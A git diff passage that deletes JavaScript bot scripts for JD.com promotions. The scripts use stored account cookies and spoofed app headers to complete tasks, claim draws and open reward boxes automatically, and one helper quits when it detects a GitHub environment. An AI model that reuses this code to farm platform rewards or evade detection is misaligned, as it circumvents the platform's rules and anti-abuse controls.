30); - - let drawNum = $.lotteryInfo.content.drawNum || 0; - console.log(`共有${drawNum}次抽奖机会`); - $.drawNumber = 1; - for (let i = 0; i < drawNum; i++) { - await $.wait(1000); - //执行抽奖 - await lotteryDraw(); - $.drawNumber++; - } -} - - -//做任务 -async function collectionTimes() { - console.log(`开始领任务奖励`); - for (let i = 0; i < $.missionList.length; i++) { - if ($.missionList[i].status === 11) { - let getRewardNos = $.missionList[i].getRewardNos; - for (let j = 0; j < getRewardNos.length; j++) { - await collectionOneMission($.missionList[i].title, getRewardNos[j]);//领奖励 - await $.wait(1000); - } - } - } -} - -//做任务 -async function doMission() { - console.log(`开始执行任务`); - for (let i = 0; i < $.missionList.length; i++) { - if ($.missionList[i].status !== 1) { - continue; - } - await $.wait(1000); - if ($.missionList[i].jumpType === 135 || $.missionList[i].jumpType === 136 || $.missionList[i].jumpType === 137) { - await doOneMission($.missionList[i]); - } else if ($.missionList[i].jumpType === 45 || $.missionList[i].jumpType === 31) { - //await createInvitation($.missionList[i]); - await doOneMission2($.missionList[i]); - } - } -} - -async function doOneMission2(missionInfo) { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","missionNo":"${missionInfo.missionNo}"}]`; - const myRequest = getPostRequest('Luckdraw/completeMission', body) - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - //{"code": 1,"content": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","data": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","errorMsg": "SUCCESS","msg": "SUCCESS","success": true} - data = JSON.parse(data); - if (data.success === true) { - console.log(`${missionInfo.title},任务执行成功`); - $.runFlag = true; - } else { - console.log(JSON.stringify(data)); - console.log(`${missionInfo.title},任务执行失败`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -//领奖励 -async function collectionOneMission(title, getRewardNo) { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","getCode":"${getRewardNo}"}]`; - const myRequest = getPostRequest('Luckdraw/getDrawChance', body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.success === true) { - console.log(`${title},领取任务奖励成功`); - } else { - console.log(JSON.stringify(data)); - console.log(`${title},领取任务执行失败`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -//做任务 -async function doOneMission(missionInfo) { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","missionNo":"${missionInfo.missionNo}","params":${JSON.stringify(missionInfo.params)}}]`; - const myRequest = getPostRequest('Luckdraw/completeMission', body); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.success === true) { - console.log(`${missionInfo.title},任务执行成功`); - $.runFlag = true; - } else { - console.log(JSON.stringify(data)); - console.log(`${missionInfo.title},任务执行失败`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -//获取任务列表 -async function getQueryMissionList() { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; - const myRequest = getPostRequest('Luckdraw/queryMissionList', body) - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.success === true) { - $.missionList = data.content.missionList; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -//获取信息 -async function getLotteryInfo() { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; - const myRequest = getPostRequest('Luckdraw/queryActivityBaseInfo', body) - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - $.lotteryInfo = JSON.parse(data); - // console.log($.lotteryInfo); - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -async function lotteryDraw() { - const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; - const myRequest = getPostRequest('Luckdraw/draw', body) - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - //console.log(`${data}`); - data = JSON.parse(data); - if (data.success === true) { - console.log(`${$.name}第${$.drawNumber}次抽奖,获得:${data.content.rewardDTO.title || ' '}`); - } else { - console.log(`${$.name}第${$.drawNumber}次抽奖失败`); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getPostRequest(type, body) { - const url = `https://lop-proxy.jd.com/${type}`; - const method = `POST`; - let t= `${Date.now()}`; - const headers = { - 'Accept-Encoding': `gzip, deflate, br`, - 'Host': `lop-proxy.jd.com`, - 'Origin': `https://jingcai-h5.jd.com`, - 'Connection': `keep-alive`, - 'biz-type': `service-monitor`, - 'Accept-Language': `zh-cn`, - 'version': `1.0.0`, - 'uuid': `${t}${t * 2}`, - 'jexpress-report-time': t, - 'Content-Type': `application/json;charset=utf-8`, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0"), - 'Referer': `https://jingcai-h5.jd.com`, - 'ClientInfo': `{"appName":"jingcai","client":"m"}`, - 'access': `WX-XCX`, - 'Accept': `application/json, text/plain, */*`, - 'source-client': `2`, - 'X-Requested-With': `XMLHttpRequest`, - 'Cookie': cookie, - 'LOP-DN': `jingcai.jd.com`, - 'AppParams': `{"appid":158,"ticket_type":"m"}`, - 'app-key': `jexpress` - }; - return {url: url, method: method, headers: headers, body: body}; -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - Host: "me-api.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} - - -// prettier-ignore -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_desire.js b/jd_desire.js deleted file mode 100644 index 44d764035..000000000 --- a/jd_desire.js +++ /dev/null @@ -1,411 +0,0 @@ -/* -京东集魔方 -=========================== - -cron:2 0,11 * * * -============Quantumultx=============== -[task_local] -#集魔方 -2 0,11 * * * jd_desire.js, tag=集魔方, enabled=true - */ - -const $ = new Env('京东集魔方'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -let uuid -$.shareCodes = [] -let hotInfo = {} -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.sku = [] - $.sku2 = [] - $.adv = [] - $.hot = false - uuid = randomString(40) - await jdMofang() - hotInfo[$.UserName] = $.hot - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdMofang() { - console.log(`\n集魔方 抽京豆 赢新品`) - await getInteractionInfo() -} - -//第二个 -async function getInteractionInfo(type = true) { - return new Promise(async (resolve) => { - $.post(taskPostUrl("getInteractionInfo", {"geo":{"lng":"106.47647010204035","lat":"29.502312842810458"},"mcChannel":0,"sign":3}), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`getInteractionInfo API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - // console.log(data.result.taskPoolInfo.taskList); - if (type) { - $.interactionId = data.result.interactionId - $.taskPoolId = data.result.taskPoolInfo.taskPoolId - for (let key of Object.keys(data.result.taskPoolInfo.taskList)) { - let vo = data.result.taskPoolInfo.taskList[key] - if (vo.taskStatus === 0) { - if (vo.taskId === 2004) { - await queryPanamaFloor() - for (let id of $.sku2) { - $.complete = false - await executeNewInteractionTask(vo.taskId, id) - await $.wait(2000) - if ($.complete) break - } - } - if (vo.taskId === 2002) { - await qryCompositeMaterials() - for (let id of $.sku) { - $.complete = false - await executeNewInteractionTask(vo.taskId, id) - await $.wait(2000) - if ($.complete) break - } - } - if (vo.taskId === 2006) { - await qryCompositeMaterials2() - for (let id2 of $.adv) { - $.complete = false - await executeNewInteractionTask(vo.taskId, id2) - await $.wait(2000) - if ($.complete) break - } - } - } else { - console.log(`已找到当前魔方`) - } - } - data = await getInteractionInfo(false) - if (data.result.hasFinalLottery === 0) { - let num = 0 - for (let key of Object.keys(data.result.taskPoolInfo.taskRecord)) { - let vo = data.result.taskPoolInfo.taskRecord[key] - num += vo - } - if (num >= 9) { - console.log(`共找到${num}个魔方,可开启礼盒`) - await getNewFinalLotteryInfo() - } else { - console.log(`共找到${num}个魔方,不可开启礼盒`) - } - } else { - console.log(`已开启礼盒`) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -function queryPanamaFloor() { - return new Promise((resolve) => { - $.post(taskPostUrl("qryCompositeMaterials", {"geo":{"lng":"106.47647010204035","lat":"29.502312842810458"},"mcChannel":0,"activityId":"01235772","pageId":"3620025","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06327486\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"comment[0]\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`queryPanamaFloor API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - for (let skuVo of data.data.advData.list) { - $.sku2 = ["100038312438","100022213851","100038312444","100038962384","100023274622", "100035222536", "10051584954296", "10052442367186"] - $.sku2.push(skuVo.advertId) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} - -function qryCompositeMaterials() { - return new Promise((resolve) => { - $.post(taskPostUrl("qryCompositeMaterials", {"geo":null,"mcChannel":0,"activityId":"01235772","pageId":"3620025","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06327486\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"comment[0]\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`qryCompositeMaterials API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - //console.log(data) - for (let key of Object.keys(data.data.advData.list)) { - let vo = data.data.advData.list[key] - if (vo.next && vo.next.productGroup) { - for (let key of Object.keys(vo.next.productGroup.list)) { - let skuVo = vo.next.productGroup.list[key] - $.sku.push(skuVo.skuId) - } - break - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} - -function qryCompositeMaterials2() { - return new Promise((resolve) => { - $.post(taskPostUrl("qryCompositeMaterials", {"geo":null,"mcChannel":0,"activityId":"01213138","pageId":"3513123","qryParam":"[{\"type\":\"advertGroup\",\"id\":\"06290597\",\"mapTo\":\"advData\",\"next\":[{\"type\":\"productGroup\",\"mapKey\":\"comment[0]\",\"mapTo\":\"productGroup\",\"attributes\":13}]}]","applyKey":"21new_products_h"}), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`qryCompositeMaterials API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - //console.log(data); - for (let key of Object.keys(data.data.advData.list)) { - let vo = data.data.advData.list[key] - $.adv.push(vo.advertId) - // console.log($.adv); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -function executeNewInteractionTask(taskType, advertId) { - body = { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": taskType, "advertId": advertId } - if (taskType === 2002) { - body = { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId, "taskPoolId": $.taskPoolId, "taskType": taskType, "sku": advertId } - } - return new Promise((resolve) => { - $.post(taskPostUrl("executeNewInteractionTask", body), (err, resp, data) => { - // console.log(taskPostUrl("executeNewInteractionTask", body)); - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} executeNewInteractionTask API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - if (data.result.hasDown === 1) { - console.log(data.result.isLottery === 1 ? `找到了一个魔方,获得${data.result.lotteryInfoList[0].quantity || ''}${data.result.lotteryInfoList[0].name}` : `找到了一个魔方`) - $.complete = true - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -function getNewFinalLotteryInfo() { - return new Promise((resolve) => { - $.post(taskPostUrl("getNewFinalLotteryInfo", { "geo": null, "mcChannel": 0, "sign": 3, "interactionId": $.interactionId }), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getNewFinalLotteryInfo API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - if (data.result.lotteryStatus === 1) { - console.log(`开启礼盒成功:获得${data.result.lotteryInfoList[0].quantity}${data.result.lotteryInfoList[0].name}`) - } else { - console.log(`开启礼盒成功:${data.result.toast}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} - - -function taskPostUrl(functionId, body = {}) { - body = JSON.stringify(body) - if (functionId === "queryPanamaPage") body = escape(body) - return { - url: `${JD_API_HOST}?functionId=${functionId}&body=${encodeURI((body))}&client=wh5&clientVersion=10.1.4&appid=content_ecology&uuid=${uuid}&t=${Date.now()}`, - headers: { - 'Host': 'api.m.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://prodev.m.jd.com', - 'Accept-Language': 'zh-cn', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': 'https://prodev.m.jd.com/mall/active/TqTRGRrp9HZTfeyRTL2UGmX4mHG/index.html?babelChannel=ttt30', - 'Accept-Encoding': 'gzip, deflate, br', - 'Cookie': cookie - } - } -} - - -function taskSignUrl(url, body) { - return { - url, - body: `body=${escape(body)}`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Connection': 'keep-alive', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Referer': '', - 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - } - } -} -function randomString(e) { - let t = "abcdef0123456789" - if (e === 16) t = "abcdefghijklmnopqrstuvwxyz0123456789" - e = e || 32; - let a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function showMsg() { - return new Promise(resolve => { - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if 